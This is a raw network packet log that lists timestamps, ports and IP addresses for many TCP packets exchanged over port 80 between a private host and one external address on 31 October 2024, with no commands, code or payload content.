Oct 31, 2024 17:26:30.775162935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.048676014 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.048691034 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.048703909 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.048747063 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.048758030 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.048768997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.048779964 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.048816919 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.048858881 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.049040079 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049079895 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.049170971 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049182892 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049192905 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049205065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049213886 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.049222946 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049230099 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.049237967 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049249887 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049261093 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.049272060 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.049299955 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.049671888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049685001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049694061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049705982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049719095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049726963 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.049731970 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049745083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.049757957 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.049778938 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.050228119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050240040 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050250053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050260067 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050271988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050281048 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.050303936 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.050312996 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.050672054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050683975 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050693989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050705910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050717115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050720930 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.050730944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050745010 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.050751925 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050764084 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050764084 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.050777912 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050786018 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.050790071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050802946 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050808907 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.050817013 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.050832033 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.050847054 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.050872087 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.051619053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051630974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051640034 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051655054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051667929 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051678896 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.051680088 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051692009 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051703930 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051706076 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.051716089 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051719904 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.051728010 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051738024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051744938 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.051750898 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051764011 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.051775932 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.051789999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.051815033 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.052598000 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052609921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052619934 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052632093 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052643061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052654982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052656889 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.052666903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052674055 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.052679062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052690029 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.052691936 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052705050 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052716017 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052719116 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.052727938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052738905 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.052745104 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.052767038 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.052774906 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.053443909 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053457022 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053467035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053492069 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.053520918 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.053553104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053566933 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053576946 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053591013 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053602934 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053605080 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.053615093 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053631067 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.053632021 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053644896 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053654909 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.053658009 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.053678036 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.053695917 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.054470062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.054481983 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.054492950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.054505110 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.054517031 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.054522991 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.054531097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.054536104 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.054544926 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.054555893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.054558992 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.054584026 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.054609060 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.166848898 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.166870117 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.166908026 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.166920900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.166994095 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.167033911 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.167062998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167171955 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167184114 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167227983 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.167306900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167321920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167332888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167344093 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167366028 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.167382002 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.167567968 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167578936 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167587996 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167598963 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167604923 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.167638063 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.167829990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167841911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167851925 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167861938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167879105 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.167886019 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.167906046 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.167917967 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.168184996 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168196917 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168232918 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.168337107 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168348074 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168358088 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168369055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168380976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168390036 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.168392897 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168406963 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168417931 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.168418884 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168428898 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.168462992 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.168916941 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168926954 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168936968 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168946981 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.168967962 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.168982029 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.169050932 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169060946 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169070959 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169080973 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169097900 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.169115067 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.169493914 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169511080 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169522047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169533014 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169542074 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.169543982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169558048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169564962 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.169569016 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169585943 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169589043 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.169599056 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169610977 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.169614077 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169625044 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.169626951 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169640064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169651031 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.169652939 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.169678926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.169696093 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.170327902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170340061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170351028 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170361996 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170372963 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170378923 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.170384884 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170396090 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170399904 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.170407057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170419931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170419931 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.170434952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170443058 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.170448065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170459986 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170469999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.170473099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170480967 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.170485973 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.170511961 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.170535088 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.171221018 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171232939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171242952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171255112 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171266079 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171273947 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.171278000 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171288967 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171299934 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.171303988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171319008 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.171344042 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.171865940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171876907 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171886921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171897888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171909094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171919107 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.171919107 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171931982 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.171938896 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171941996 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.171951056 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171963930 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171974897 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171974897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.171987057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171998024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.171998978 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.172012091 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.172044992 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.172816038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172827959 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172837019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172847986 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172859907 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172868967 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.172873020 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172880888 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.172885895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172898054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172900915 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.172909975 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172920942 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172924042 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.172931910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172944069 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172949076 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.172955990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.172962904 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.172982931 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.173006058 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.173651934 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.173698902 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.285885096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.285902977 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.285913944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.285998106 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.286092997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286113024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286124945 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286132097 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.286138058 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286150932 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286156893 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.286161900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286175013 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286183119 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.286197901 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.286225080 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.286501884 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286513090 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286534071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286546946 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286547899 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.286557913 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.286566019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286577940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286585093 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.286591053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286606073 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.286612988 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.286636114 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.286657095 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.287422895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287435055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287448883 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287466049 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287477970 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287484884 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.287492037 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287504911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287509918 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.287529945 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.287539959 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287552118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287554979 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.287563086 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287575006 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287584066 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.287586927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287600040 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287601948 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.287611961 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287623882 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287635088 CET	62829	80	192.168.2.4	185.215.113.206
